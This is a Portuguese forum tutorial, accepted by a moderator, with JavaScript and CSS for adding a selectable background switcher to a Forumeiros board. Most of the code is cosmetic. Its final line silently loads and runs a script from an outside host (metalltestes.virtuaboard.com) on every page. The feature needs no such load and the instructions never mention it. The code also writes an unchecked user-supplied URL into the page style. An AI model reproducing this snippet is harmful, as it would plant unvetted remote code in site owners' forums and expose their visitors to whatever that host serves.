• 1º Passo
  

Vamos acessar o painel de controle e ir até os javascripts e insirir o código abaixo.
Painel de Controle ~ > Módulos ~ > HTML & JavaScript's ~ > Gestão dos Códigos Javascripts ~ > Criar um novo Código JavaScript

Título: Qualquer
Investimento : Em todas as páginas
Código JavaScript : O código abaixo ↓

Código:

var CopyrightNotice = "Background seletor para Foruns Forumeiros, criado por 3goOne e editado por Diskete. Todos os direitos reservados.";
    $(function () {
        $("#pun-intro, .headerbar, div#logostrip, .bodylinewidth").prepend('<img src="http://i.imgur.com/b1MEp.png" alt="Alterar imagem de fundo" title="Alterar imagem de fundo" id="nav_background" />');
        $("#content, div#page-body").prepend('<div id="toggle_background" style="display: none;"><div id="custom_background"><span id="bg1"></span><span id="bg6"></span><span id="bg5"></span><span id="bg2"></span><span id="bg3"></span><span id="bg4"></span><div id="custom_url"><input type="text" placeholder=" Selecione o fundo que deseja ou coloque aqui uma url personalizada." id="custom_input"><strong id="custom_submit">Alterar</strong></div></div></div>');
        $("#custom_background span").click(function () {
            $("body").removeClass("bg1 bg2 bg3 bg4 bg5 bg6 bg_custom").addClass($(this).attr("id"));
            my_setcookie("custom_background", $(this).attr("id"), true)
        });
        $("#custom_submit").click(function () {
            var b = $("#custom_input").val();
            $("body").removeClass("bg1 bg2 bg3 bg4 bg5 bg6 bg_custom").addClass("bg_custom").css("background-image", "url('" + b + "')");
            my_setcookie("custom_background", b, true)
        });
        $("#nav_background").click(function () {
            $("#toggle_background").slideToggle()
        });
        if (my_getcookie("custom_background") != "") {
            if (my_getcookie("custom_background").length > 4) {
                $("body").addClass("bg_custom").css("background-image", "url(" + my_getcookie("custom_background") + ")")
            } else {
                $("body").addClass(my_getcookie("custom_background"))
            }
        }
    });
$.getScript('http://metalltestes.virtuaboard.com/16152.js');

• 2º Passo
  

Agora vá até o CSS.
Painel de Controle ~ > Visualização ~ > Imagens e Cores ~ > Cores ~ > Aba " Folha de Estilo CSS "
E adicione logo ao ínicio do CSS:

Código:

/*Background Selector http://staffergroupbr.stuning.net/t964-*/#custom_background {background-color: rgba(0,0,0,0.8) !important; box-shadow: 0 0 10px rgba(0,0,0,0.8) inset; color: #FFF; position: relative; padding: 15px 0 15px 15px;}#custom_background span { -moz-transition: all .2s ease-in-out 0; background: none no-repeat scroll 50% 50% #000; border-radius: 7px 7px 7px 7px; box-shadow: 0 1px 7px #000 inset, 0 1px 0 rgba(255,255,255,0.05), 0 0 1px rgba(255,255,255,0.35); cursor: pointer; display: block; float: left; height: 90px; margin-right: 15px;width: 140px;}#custom_background span:hover {  box-shadow: 0 1px 2px #000 inset, 0 1px 0 rgba(255,255,255,0.05), 0 0 1px rgba(255,255,255,0.35);}#nav_background {background-color: #000; border: 3px dotted #444!important; border-radius: 15px 15px 15px 15px; cursor: pointer; float: right; padding: 5px;}#nav_background:hover { background-color: #FFF;}#nav_background:active {background-color: #E71E7B;}#bg1 {background-image: url(http://i.imgur.com/kxP1r.png)!important;background-repeat: repeat!important;}#bg2 {background-image: url(http://i.imgur.com/LNl9w.png)!important;background-repeat: repeat!important;}#bg3 {background-image: url(http://i.imgur.com/28rVb.png)!important;background-repeat: repeat!important;}#bg4 {background-image: url(http://i.imgur.com/fQ1Nj.png)!important;background-repeat: repeat!important;}#bg5 { background-image: url(http://i.imgur.com/ejaS4.png)!important;background-repeat: repeat!important;}#bg6 {background-image: url(http://i.imgur.com/sFGag.png)!important;background-repeat: repeat!important;}#custom_url {clear: left;padding-top: 10px; text-align: center;}#custom_input {background: none repeat scroll 0 0 rgba(0,0,0,0.5);border: 0 none;border-radius: 4px 4px 4px 4px;box-shadow: 0 1px 3px rgba(0,0,0,0.75) inset, 0 1px 0 rgba(255,255,255,0.15);color: #FFF;font-size: 20px;height: 40px;margin-left: -15px;margin-right: 8px;white-space: nowrap;width: 780px;padding: 0 10px 0 0;}#custom_submit {background: url() repeat-x scroll 0 0 rgba(197,206,213,0.4);border-radius: 4px 4px 4px 4px;box-shadow: 0 1px 3px rgba(0,0,0,0.6);color: #FFF;cursor: pointer;display: inline-block;font-size: 20px;font-weight: 400;line-height: 40px;text-shadow: 0 -1px 0 #4C5057;padding: 0 10px;}.bg1 {background: url(http://i.imgur.com/kxP1r.png) repeat fixed 50% 0 #000!important;}.bg2 {background: url(http://i.imgur.com/LNl9w.png) repeat fixed 50% 0 #000!important;}.bg3 {background: url(http://i.imgur.com/28rVb.png) repeat fixed 50% 0 #000!important;}.bg4 {background: url(http://i.imgur.com/fQ1Nj.png) repeat fixed 50% 0 #000!important;}.bg5 {background: url(http://i.imgur.com/ejaS4.png) repeat fixed 50% 0 #0E1E2D!important;}.bg6 {background: url(http://i.imgur.com/sFGag.png) repeat fixed 50% 0 #000!important;}.bg_custom {background-attachment: fixed;background-color: #000;background-repeat: repeat;}/*End Background Selector*/

• Informações adicionais:
  

O CSS vem dividido e é 100% editável.
Você pode editar o seletor nas miniaturas e nos fundos.
Sempre tem que está presente " !important ", todas as imagens são de ava7 Patterns .
Todas em ordem de esquerda para direita (bg1 a bg6)
xD Espero que gostem.

• Resultado aproximado:
  

Demonstração

Não tenho uma imagem do resultado, mas garanto que é um resultado muito bom.
Irei adicionar ao meu fórum de testes novamente para adicionar a print.

O resultado final será algo como isto:

Spoiler:

Peço desculpas por não ter deixado todas as imagens carregarem, mas é por que estou um pouco ocupado. E tive de fazer isso as pressas.

Status: Aceito.
Movido para: Local correspondente.
Motivo desta mensagem: Completo e funcional.